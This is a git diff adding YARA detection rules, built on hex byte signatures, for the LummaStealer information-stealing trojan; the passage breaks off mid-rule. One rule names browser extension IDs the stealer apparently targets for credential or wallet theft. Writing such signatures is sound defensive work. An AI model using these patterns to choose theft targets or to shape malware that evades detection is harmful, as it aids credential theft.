"Trojan:Win32/LummaStealer.DP!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 05 00 00 " + + strings : + $a_03_0 = {89 c7 09 d7 21 c2 81 f6 ?? ?? ?? ?? 09 d6 8d 14 36 f7 d2 01 f2 21 fa 89 54 24 1c 8b 54 24 1c 80 c2 66 88 94 04 } //10 + $a_01_1 = {89 fb f7 d3 01 d3 29 d7 89 da 31 fa 21 ca 31 fa 09 cb 21 d3 89 5c 24 18 8b 4c 24 18 80 c1 5c 88 8c 04 } //10 + $a_01_2 = {89 ce 09 d6 89 c7 21 d7 f7 d7 f7 d6 01 d6 21 fe 89 74 24 0c 8b 54 24 0c 80 c2 18 88 54 04 d0 } //10 + $a_03_3 = {89 ca 81 e2 ?? ?? ?? ?? 89 ce 81 e6 ?? ?? ?? ?? 81 c9 ?? ?? ?? ?? 0f af ce 81 f6 ?? ?? ?? ?? 0f af f2 01 f1 8d 14 08 4a 8b 0d ?? ?? ?? ?? 89 14 81 } //10 + $a_03_4 = {89 fe 83 e6 01 f7 de 21 de 83 cf 02 0f af fd 01 ca 29 fa 01 f2 69 ca ?? ?? ?? ?? 01 c1 49 8b 15 ?? ?? ?? ?? 89 0c 82 } //10 + condition: + ((#a_03_0 & 1)*10+(#a_01_1 & 1)*10+(#a_01_2 & 1)*10+(#a_03_3 & 1)*10+(#a_03_4 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DS_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DS_MTB.yar new file mode 100644 index 0000000000..db1710424d --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DS_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_LummaStealer_DS_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.DS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 04 00 00 " + + strings : + $a_03_0 = {89 f3 81 ce ?? ?? ?? ?? 0f af f7 81 f7 ?? ?? ?? ?? 81 e3 ?? ?? ?? ?? 0f af df 01 de 89 f7 21 d7 31 d6 8d 3c 7e 89 3c 88 } //10 + $a_01_1 = {8d 3c 32 21 f2 01 d2 29 d7 89 7c 24 20 8b 54 24 20 89 d6 83 f6 5b 83 e2 5b 8d 14 56 fe c2 8b 34 24 88 54 34 10 ff 04 24 } //10 + $a_03_2 = {f7 d0 8d 04 42 40 21 c8 89 44 24 20 8b 44 24 20 05 ?? ?? ?? ?? 89 c1 83 e1 01 83 f0 01 8d 04 48 88 44 1c 18 } //10 + $a_03_3 = {f7 d2 81 e7 ?? ?? ?? ?? 81 e2 ?? ?? ?? ?? 0f af d7 89 cf 81 e7 ?? ?? ?? ?? 81 c9 ?? ?? ?? ?? 0f af cf 01 d1 8d 14 08 4a 8b 0d ?? ?? ?? ?? 89 14 81 } //10 + condition: + ((#a_03_0 & 1)*10+(#a_01_1 & 1)*10+(#a_03_2 & 1)*10+(#a_03_3 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DT_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DT_MTB.yar new file mode 100644 index 0000000000..f255fa346f --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_DT_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.DT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {85 c9 0f 49 d1 81 e2 ?? ?? ?? ?? 89 c8 29 d0 0f b6 d3 8d 14 52 8b bc 24 ?? ?? ?? ?? 32 04 0f 30 d0 88 04 0f } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DU_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DU_MTB.yar new file mode 100644 index 0000000000..3084365635 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DU_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_DU_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.DU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_01_0 = {8b 5c 24 1c 89 da f7 d2 89 d1 81 e1 fa 00 00 00 89 d8 83 e0 05 01 c0 81 ca fa 00 00 00 01 da 83 c2 06 29 d8 05 fa 00 00 00 21 d0 29 c8 88 44 2c 18 } //10 + condition: + ((#a_01_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DV_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DV_MTB.yar new file mode 100644 index 0000000000..15f9ba00f9 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DV_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_DV_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.DV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {0f b6 b4 3c ?? ?? ?? ?? 89 fd 09 f5 21 fe 89 f0 83 e0 38 35 ?? ?? ?? ?? 89 f2 81 f2 ?? ?? ?? ?? 81 ce ?? ?? ?? ?? 21 d6 09 c6 81 f6 ?? ?? ?? ?? 21 ee 89 74 24 28 8b 44 24 28 04 88 88 84 3c } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DW_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DW_MTB.yar new file mode 100644 index 0000000000..647fda4456 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DW_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_DW_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.DW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {89 cf 81 e7 ?? ?? ?? ?? 81 cf ?? ?? ?? ?? 31 f7 21 cb 8d 34 2b 46 8b 1c 24 09 fe 8d 04 50 89 f2 f7 d2 09 c2 8d 04 16 40 89 44 24 1c 8b 44 24 1c 04 34 88 84 0c } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DX_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DX_MTB.yar new file mode 100644 index 0000000000..b089625eb0 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DX_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_DX_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.DX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {89 c2 c1 ea 1e f7 d0 89 d6 09 c6 21 d0 8d 14 36 f7 d2 01 f2 09 c2 69 c2 ?? ?? ?? ?? 01 c8 48 8b 15 ?? ?? ?? ?? 89 04 8a 41 81 f9 ?? ?? ?? ?? 75 cf } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DY_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DY_MTB.yar new file mode 100644 index 0000000000..ef1e29a389 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_DY_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_DY_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.DY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {89 ca c1 ea 1e 31 ca 69 ca ?? ?? ?? ?? 01 c1 41 8b 15 ?? ?? ?? ?? 89 4c 82 08 3d ?? ?? ?? ?? 74 ?? 89 ca c1 ea 1e 31 ca 69 ca ?? ?? ?? ?? 01 c1 83 c1 02 8b 15 ?? ?? ?? ?? 89 4c 82 0c 83 c0 02 eb } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_FAI_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_FAI_MTB.yar new file mode 100644 index 0000000000..b345f42630 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_FAI_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_FAI_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.FAI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {41 32 1c 10 8b 45 08 32 df 30 1f 8b 55 c8 3b 4d 0c 72 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_FAJ_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_FAJ_MTB.yar new file mode 100644 index 0000000000..43d41741c7 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_FAJ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_FAJ_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.FAJ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {8b 55 c4 32 1c 01 32 5d ff 88 1c 01 41 3b 4d 0c 72 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_FAK_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_FAK_MTB.yar new file mode 100644 index 0000000000..ae78af945a --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_FAK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_FAK_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.FAK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {8b 45 c4 32 5d ff 8b 55 c8 30 18 8b 5d 14 8b 45 08 3b 4d 0c 72 a8 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_GAD_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_GAD_MTB.yar new file mode 100644 index 0000000000..31cd4817a8 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_GAD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_GAD_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.GAD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {0f b6 c7 41 03 c5 99 f7 7c 24 ?? 8b 44 24 2c 8a 04 02 8b 54 24 ?? 32 c7 32 44 24 ?? 32 02 8b 54 24 ?? 88 04 17 47 8b c2 81 f9 07 01 00 00 0f 8c } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_GDF_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_GDF_MTB.yar new file mode 100644 index 0000000000..ff29e39296 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_GDF_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_GDF_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.GDF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_01_0 = {89 d1 f7 d1 89 c6 21 ce 89 c7 31 d7 89 c1 01 f9 29 f1 21 d0 f7 d0 89 ca 31 c2 f7 d2 09 c1 21 d1 89 0c 24 8b 04 24 2d } //10 + condition: + ((#a_01_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_GDI_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_GDI_MTB.yar new file mode 100644 index 0000000000..8271802c73 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_GDI_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_LummaStealer_GDI_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.GDI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 00 " + + strings : + $a_03_0 = {03 c2 83 e0 ?? 8a 0c 28 32 cf 32 0e 88 0e } //5 + $a_03_1 = {41 8a 0c 29 43 32 ca 89 5c 24 ?? 32 4c 24 ?? 8b d3 88 0c 30 } //5 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*5) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_GTD_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_GTD_MTB.yar new file mode 100644 index 0000000000..02941dd022 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_GTD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_GTD_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.GTD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {0f b6 34 08 8b 45 ?? 8b 4d ?? 0f b6 14 08 31 f2 88 14 08 8b 45 ?? 83 c0 ?? 89 45 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_GVA_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_GVA_MTB.yar index 58d9ce5a7f..c70a20d87c 100644 --- a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_GVA_MTB.yar +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_GVA_MTB.yar @@ -3,6 +3,16 @@ rule Trojan_Win32_LummaStealer_GVA_MTB{ meta: description = "Trojan:Win32/LummaStealer.GVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + strings : + $a_02_0 = {0f 9c c0 0f 9c 44 24 ?? 30 c3 89 da f6 d2 20 c2 89 d0 30 d8 } //1 + condition: + ((#a_02_0 & 1)*1) >=1 + +} +rule Trojan_Win32_LummaStealer_GVA_MTB_2{ + meta: + description = "Trojan:Win32/LummaStealer.GVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + strings : $a_02_0 = {02 ca 8a 8c 0d ?? ?? ?? ?? 90 13 30 0e ff c6 90 13 ff cf 90 13 fe c3 90 13 8a 94 1d ?? ?? ?? ?? 02 c2 8a 8c 05 ?? ?? ?? ?? 90 13 88 8c 1d ?? ?? ?? ?? 88 94 05 } //1 condition: diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_GVB_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_GVB_MTB.yar new file mode 100644 index 0000000000..4809c8ec6d --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_GVB_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_LummaStealer_GVB_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.GVB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {30 cb 44 08 c8 34 01 08 d8 44 89 da 80 f2 01 45 30 c3 44 08 d2 } //2 + $a_02_1 = {0f 9c c2 0f 9c 45 ?? 89 d3 30 c3 20 d3 44 20 c9 20 c2 08 ca 89 d8 30 d0 } //1 + condition: + ((#a_01_0 & 1)*2+(#a_02_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_GVF_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_GVF_MTB.yar new file mode 100644 index 0000000000..c3fdd93703 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_GVF_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_GVF_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.GVF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {33 c7 2b cd f7 de 81 f1 60 9b b7 35 03 dd 87 c6 33 d0 81 eb 7c 09 51 1b 83 c1 04 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_GVG_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_GVG_MTB.yar new file mode 100644 index 0000000000..0a21ce1212 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_GVG_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_GVG_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.GVG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {57 33 ff 33 c9 89 7d 08 8b c1 83 e0 03 8a 44 05 08 30 04 0a 41 3b ce } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_GZK_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_GZK_MTB.yar new file mode 100644 index 0000000000..09ea657a7b --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_GZK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_GZK_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.GZK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {8b c1 83 e0 ?? 8a 1c 10 8a c3 32 c1 32 44 24 ?? 88 04 39 83 f9 ?? ?? ?? 8d 41 ?? c0 e3 ?? 83 e0 ?? 8a 04 10 c0 e8 ?? 32 c3 32 c1 88 04 29 41 81 f9 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_GZZ_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_GZZ_MTB.yar new file mode 100644 index 0000000000..bd40d9e082 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_GZZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_GZZ_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.GZZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {0f b6 8c 04 ?? ?? ?? ?? 31 c1 89 4c 24 ?? 8b 4c 24 ?? 89 ca 83 f2 ?? 83 e1 ?? 8d 0c 4a fe c1 88 8c 04 ?? ?? ?? ?? 40 3d } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_IT_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_IT_MTB.yar new file mode 100644 index 0000000000..d71f909de7 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_IT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_IT_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.IT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {8b ec 81 ec ?? ?? ?? ?? e8 ?? ?? ?? ?? 84 c0 0f 84 ?? ?? ?? ?? 33 c9 c7 45 ?? ?? ?? ?? ?? b2 ?? c7 45 ?? ?? ?? ?? ?? c7 45 ?? ?? ?? ?? ?? 8b c1 66 c7 45 ?? ?? ?? 30 54 05 ?? 40 83 f8 ?? 73 ?? 8a 55 ?? eb } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_JSM_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_JSM_MTB.yar new file mode 100644 index 0000000000..834d314f71 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_JSM_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_JSM_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.JSM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {0f b6 0c 01 31 c8 35 5e fc 19 aa 89 44 24 04 8b 44 24 04 04 5a 8b 4c 24 ?? 8b 14 24 88 04 11 8b 04 24 89 c1 83 e1 01 89 c2 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_LMX_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_LMX_MTB.yar new file mode 100644 index 0000000000..2c1e9a5863 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_LMX_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_LMX_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.LMX!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {c1 e2 14 87 f3 81 e0 b4 6c b8 c1 ff c9 75 c6 f7 d2 0b c4 b9 89 80 f6 70 03 f8 85 cc } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_MBX_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_MBX_MTB.yar new file mode 100644 index 0000000000..91c1d34ad3 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_MBX_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_LummaStealer_MBX_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.MBX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 00 " + + strings : + $a_01_0 = {65 6a 62 61 6c 62 61 6b 6f 70 6c 63 68 6c 67 68 65 63 64 61 6c 6d 65 65 65 61 6a 6e 69 6d 68 6d } //1 ejbalbakoplchlghecdalmeeeajnimhm + $a_01_1 = {61 65 62 6c 66 64 6b 68 68 68 64 63 64 6a 70 69 66 68 68 62 64 69 6f 6a 70 6c 66 6a 6e 63 6f 61 } //1 aeblfdkhhhdcdjpifhhbdiojplfjncoa + $a_01_2 = {6a 6e 6c 67 61 6d 65 63 62 70 6d 62 61 6a 6a 66 68 6d 6d 6d 6c 68 65 6a 6b 65 6d 65 6a 64 6d 61 } //1 jnlgamecbpmbajjfhmmmlhejkemejdma + $a_01_3 = {64 6c 63 6f 62 70 6a 69 69 67 70 69 6b 6f 6f 62 6f 68 6d 61 62 65 68 68 6d 68 66 6f 6f 64 62 62 } //1 dlcobpjiigpikoobohmabehhmhfoodbb + $a_01_4 = {6a 67 61 61 69 6d 61 6a 69 70 62 70 64 6f 67 70 64 67 6c 68 61 70 68 6c 64 61 6b 69 6b 67 65 66 } //1 jgaaimajipbpdogpdglhaphldakikgef + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_MMR_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_MMR_MTB.yar new file mode 100644 index 0000000000..17c1a33a3f --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_MMR_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_MMR_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.MMR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {8d 2c d8 8b 32 8b 7a 04 89 34 2a 89 7c 2a 04 43 8d 69 ff 39 eb 7c e9 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_NT_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_NT_MTB.yar new file mode 100644 index 0000000000..5835f21b18 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_NT_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_LummaStealer_NT_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.NT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {c7 44 24 04 00 00 00 00 c7 44 24 08 00 00 00 00 c7 44 24 0c 00 00 00 00 c6 44 24 10 00 c7 44 24 14 04 00 00 08 c7 44 24 18 00 00 00 00 c7 44 24 1c 00 00 00 00 8d 94 24 20 01 00 00 89 54 24 20 } //2 + $a_01_1 = {8b 4c 24 28 89 4c 24 3c c7 04 24 00 00 00 00 c7 44 24 04 00 00 00 00 c7 44 24 08 00 00 00 00 c7 44 24 0c 00 00 00 00 c7 44 24 10 00 00 00 00 c7 44 24 14 00 00 00 00 c7 44 24 18 00 00 00 00 } //1 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_PGA_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_PGA_MTB.yar new file mode 100644 index 0000000000..0ace13d13b --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_PGA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_PGA_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.PGA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {8a c1 c0 e8 04 32 04 16 32 c1 8b 4d ?? 32 45 ?? 88 04 16 8b 45 ?? 40 89 4d f8 89 45 ?? 3b cb 0f 82 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_PGLC_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_PGLC_MTB.yar new file mode 100644 index 0000000000..04ff70b5b3 --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_PGLC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_LummaStealer_PGLC_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.PGLC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {0f b6 c8 8b c3 25 ?? ?? ?? ?? ?? ?? 48 83 c8 ?? 40 33 c8 81 e1 ?? ?? ?? ?? ?? ?? 49 81 c9 ?? ?? ?? ?? 41 8b 45 ?? 30 0c 03 43 3b 5d ?? 0f 82 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_PGLE_MTB.yar b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_PGLE_MTB.yar new file mode 100644 index 0000000000..b0d86a695a --- /dev/null +++ b/Trojan/Win32/LummaStealer/Trojan_Win32_LummaStealer_PGLE_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_LummaStealer_PGLE_MTB{ + meta: + description = "Trojan:Win32/LummaStealer.PGLE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {0f b6 74 0c ?? 89 c7 83 e7 ?? 89 ca 81 f2 ?? ?? ?? ?? 01 fa 89 d7 f7 d7 21 f7 89 d3 31 f3 01 f3 29 fb 21 f2 f7 d2 21 da 89 14 24 8b 14 24 80 c2 9c 88 54 0c ?? 41 83 c0 ?? 83 f9 ?? 75 } //5 + $a_03_1 = {89 fb 09 f3 21 d6 09 ce 81 f6 ?? ?? ?? ?? 89 f9 